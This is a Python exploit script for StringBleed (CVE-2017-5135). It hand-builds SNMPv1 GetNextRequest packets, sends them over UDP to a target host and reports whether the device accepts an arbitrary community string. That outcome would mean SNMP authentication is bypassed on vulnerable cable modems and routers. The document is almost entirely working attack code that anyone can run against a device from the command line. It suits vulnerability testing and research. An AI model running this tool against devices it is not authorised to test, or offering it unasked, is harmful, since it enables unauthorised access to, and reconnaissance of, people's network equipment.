1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 |
#!/usr/bin/python # -*- coding: utf-8 -*- # StringBleed - CVE-2017-5135 __author__ = ["Nixawk"] __funcs__ = [ 'generate_snmp_communitystr', 'generate_snmp_proto_payload', 'send_snmp_request', 'read_snmp_communitystr', 'read_snmp_varbindstr', 'snmp_login', 'snmp_stringbleed' ] import struct import uuid import socket import time import logging import contextlib logging.basicConfig(level=logging.INFO) log = logging.getLogger(__file__) def generate_snmp_communitystr(): return str(uuid.uuid4()) def generate_snmp_proto_payload(community): """Generate snmp request with [SNMPv1] and [OID: 1.3.6.1.2.1.1.1.0] For example, suppose one wanted to identify an instance of the variable sysDescr The object class for sysDescr is: iso org dod internet mgmt mib system sysDescr 1 3 6 1211 1 """ # SNMPv1 specifies five core protocol data units (PDUs). # All SNMP PDUs are constructed as follows: # --------------------- # | IP header | # --------------------- # | UDP header| # --------------------- -------| # | version || # | community || # | PDU-type|| # | request-id||---- SNMP # | error-status|| # | error-index || # | variable bindings || # --------------------- -------| # # The seven SNMP protocol data unit (PDU) types are as follows: # GetRequest # SetRequest # GetNextRequest # GetBulkRequest # Response # Trap # InformRequest # SNMPv1 Message Header # SNMPv1 Trap Message Hander # https://tools.ietf.org/html/rfc1592 # +-----------------------------------------------------------------+ # | Table 1 (Page 1 of 2). SNMP GET PDU for dpiPortForTCP.0 | # +---------------+----------------+--------------------------------+ # | OFFSET| VALUE| FIELD| # +---------------+----------------+--------------------------------+ # | 0 | 0x30 | ASN.1 header | # +---------------+----------------+--------------------------------+ # | 1 | 37 + len | PDU_length, see formula below| # +---------------+----------------+--------------------------------+ # | 2 | 0x02 0x01 0x00 | SNMP version:| # | || (integer,length=1,value=0) | # +---------------+----------------+--------------------------------+ # | 5 | 0x04 | community name (string)| # +---------------+----------------+--------------------------------+ # | 6 | len| length of community name | # +---------------+----------------+--------------------------------+ # | 7 | community name | varies | # +---------------+----------------+--------------------------------+ # | 7 + len | 0xa0 0x1c| SNMP GET request:| # | || request_type=0xa0,length=0x1c| # +---------------+----------------+--------------------------------+ # | 7 + len + 2 | 0x02 0x01 0x01 | SNMP request ID: | # | || integer,length=1,ID=1| # +---------------+----------------+--------------------------------+ # | 7 + len + 5 | 0x02 0x01 0x00 | SNMP error status: | # | || integer,length=1,error=0 | # +---------------+----------------+--------------------------------+ # | 7 + len + 8 | 0x02 0x01 0x00 | SNMP index:| # | || integer,length=1,index=0 | # +---------------+----------------+--------------------------------+ # | 7 + len + 11| 0x30 0x11| varBind list, length=0x11| # +---------------+----------------+--------------------------------+ # | 7 + len + 13| 0x30 0x0f| varBind, length=0x0f | # +---------------+----------------+--------------------------------+ # | 7 + len + 15| 0x06 0x0b| Object ID, length=0x0b | # +---------------+----------------+--------------------------------+ # | 7 + len + 17| 0x2b 0x06 0x01 | Object-ID: | # | | 0x04 0x01 0x02 | 1.3.6.1.4.1.2.2.1.1.1| # | | 0x02 0x01 0x01 | Object-instance: 0 | # | | 0x01 0x00|| # +---------------+----------------+--------------------------------+ # | 7 + len + 28| 0x05 0x00| null value, length=0 | # +---------------+----------------+--------------------------------+ # | NOTE:Formula to calculate "PDU_length": | # | | # | PDU_length =length of version field and string tag (4 bytes)| # |+length of community length field (1 byte) | # |+length of community name (depends...) | # |+length of SNMP GET request (32 bytes) | # | | # |=37 + length of community name | # +-----------------------------------------------------------------+ snmp_GetNextRequest = [ b"\x30", # ASN.1 Header b"\x29", # PDU length b"\x02\x01\x00", # SNMP Version b"\x04", # Community Name (string) chr(len(community)), # Community Length community, # Community String b"\xa1\x19", # PDU Type - GetNextRequest b"\x02\x04", struct.pack("<i", int(time.time())), # Request ID b"\x02\x01\x00", # Error Status (Type) b"\x02\x01\x00", # Error Index b"\x30", # Variable Type (Sequence) b"\x0b", # Length b"\x30", # Variable Type (Sequence) b"\x09", # Length b"\x06", # Variable Type (OID) b"\x05", # Length b"\x2b\x06\x01\x02\x01", # Value b"\x05\x00"# NULL ] pkt = "".join(snmp_GetNextRequest) com_length = chr(len(community)) pdu_length = chr(len(pkt) - 2)# community length cost 1 bytes (default) if com_length > '\x7f': com_length = '\x81' + com_length pdu_length = chr(len(pkt) - 1)# community length cost 2 bytes if pdu_length > '\x7f': pdu_length = '\x81' + pdu_length snmp_GetNextRequest[1] = pdu_length snmp_GetNextRequest[4] = com_length pkt = b"".join(snmp_GetNextRequest) return pkt def send_snmp_request(host, port, community, timeout=6.0): """Send snmp request based on UDP. """ data = '' try: with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_DGRAM)) as client: snmp_raw = generate_snmp_proto_payload(community) client.settimeout(timeout) client.sendto(snmp_raw, (host, port)) data, _ = client.recvfrom(2014) except Exception as err: log.error("{} : {} - {}".format(host, port, err)) return data def read_snmp_communitystr(snmp_response): """Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157) """ community_str = '' if not snmp_response: return community_str pdu_length = snmp_response[1]# "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01" if ord(pdu_length) > 0x7f: offset = 8# "\x30\x81\xea\x02\x01\x00\x04\x24" else: offset = 7# "\x30\x26\x02\x01\x00\x04\x06" community_length = snmp_response[offset - 1] community_str = snmp_response[offset: offset +ord(community_length)] return community_str def read_snmp_varbindstr(snmp_response): """Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157) """ variable_binding_string = '' if not snmp_response: return variable_binding_string pdu_length = snmp_response[1]# "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01" if ord(pdu_length) > 0x7f: offset = 8# "\x30\x81\xea\x02\x01\x00\x04\x24" else: offset = 7# "\x30\x26\x02\x01\x00\x04\x06" community_length = snmp_response[offset - 1] pdu_data_offset = offset + ord(community_length) pdu_data = snmp_response[pdu_data_offset:]# 8 = first snmp 8 bytes last_pdu = pdu_data.split("\x00")[-1] # if data > 127 (0x7f), variable-bindings length: 3 bytes # if data < 127 (0x7f), variable-bindings length: 2 bytes last_pdu_length = ord(last_pdu[1]) if last_pdu_length > 0x7f: variable_binding_string =last_pdu[3:] else: variable_binding_string = last_pdu[2:] return variable_binding_string def snmp_login(host, port, community): """login snmp service with SNMPv1 community string. """ login_status = False try: resp_community = read_snmp_communitystr( send_snmp_request(host, int(port), community) ) if (resp_community == community): login_status = True except Exception as err: log.error(err) return login_status def snmp_stringbleed(host, port, community): """Test againsts Snmp StringBleed CVE-2017-5135. """ stringbleed_status = False try: resp_varbindstr = read_snmp_varbindstr( send_snmp_request(host, int(port), community) ) if resp_varbindstr: stringbleed_status = True except Exception as err: log.error(err) return stringbleed_status if __name__ == '__main__': import sys if len(sys.argv) != 4: log.info("Usage python {} <snmp-host> <snmp-port> <snmp-community-str>".format(sys.argv[0])) sys.exit(1) host = sys.argv[1] port = sys.argv[2] community = sys.argv[3] if snmp_login(host, int(port), community): log.info("{}:{} - [{}] snmp login successfully.".format(host, port, community)) else: log.info("{}:{} - [{}] snmp login failed.".format(host, port, community)) if snmp_stringbleed(host, int(port), community): log.info("{}:{} - [{}] snmp StringBleed successfully.".format(host, port, community)) else: log.info("{}:{} - [{}] snmp StringBleed failed.".format(host, port, community)) ## References # https://tools.ietf.org/html/rfc1157 # http://stackoverflow.com/questions/22998212/decode-snmp-pdus-where-to-start # http://www.net-snmp.org/ # https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol # https://wiki.wireshark.org/SNMP # https://msdn.microsoft.com/en-us/library/windows/desktop/bb648643(v=vs.85).aspx # http://cs.uccs.edu/~cs522/studentproj/projF2004/jrreese/doc/SNMP.doc # https://github.com/exhuma/puresnmp/blob/be1267bb792be0a5bdf57b0748354d2d3c7f9fb0/puresnmp/pdu.py |